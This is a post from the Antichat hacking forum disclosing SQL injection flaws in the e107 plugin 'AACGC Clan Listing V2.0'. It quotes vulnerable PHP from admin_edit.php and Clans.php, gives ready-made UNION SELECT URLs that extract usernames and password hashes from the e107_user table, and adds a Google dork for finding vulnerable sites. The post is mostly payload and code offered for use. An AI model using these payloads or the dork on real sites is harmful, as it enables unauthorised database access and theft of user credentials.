Форум АНТИЧАТ - Показать сообщение отдельно

AACGC Clan Listing V2.0

Необохдимы права администратора, SQL Injection:

/admin_edit.php

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"clan_listing"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"ORDER BY clan_id ASC"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

        while([/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]()){

[/COLOR][COLOR="#0000BB"]$sql2[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"clan_listing_cat"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"WHERE clan_cat_id="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'clan_cat'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

...[/COLOR][/COLOR]

Пример:

Код:

Code:
http://e107/e107_plugins/clan_listing/admin_edit.php?edit.-1%20union%20select%201,concat_ws(0x3a,user_name,user_password),3,4,5,6%20from%20e107_user--

SQL Injection:

/Clans.php

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

if ([/COLOR][COLOR="#0000BB"]e_QUERY[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]e_QUERY[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$sub_action[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]];

        unset([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]);

}

...

[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"clan_listing_cat"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"*"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"WHERE clan_cat_id=[/COLOR][COLOR="#0000BB"]$sub_action[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$catname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]db_Fetch[/COLOR][COLOR="#007700"]();

...[/COLOR][/COLOR]

Пример:

Код:

Code:
http://e107/e107_plugins/clan_listing/Clans.php?det.-1%20union%20select%201,concat_ws(0x3a,user_name,user_password),3,4,5,6%20from%20e107_user--

Путь:

http://e107/e107_plugins/clan_listing/admin_menu.php

Дорк:inurl:e107_plugins/clan_listing/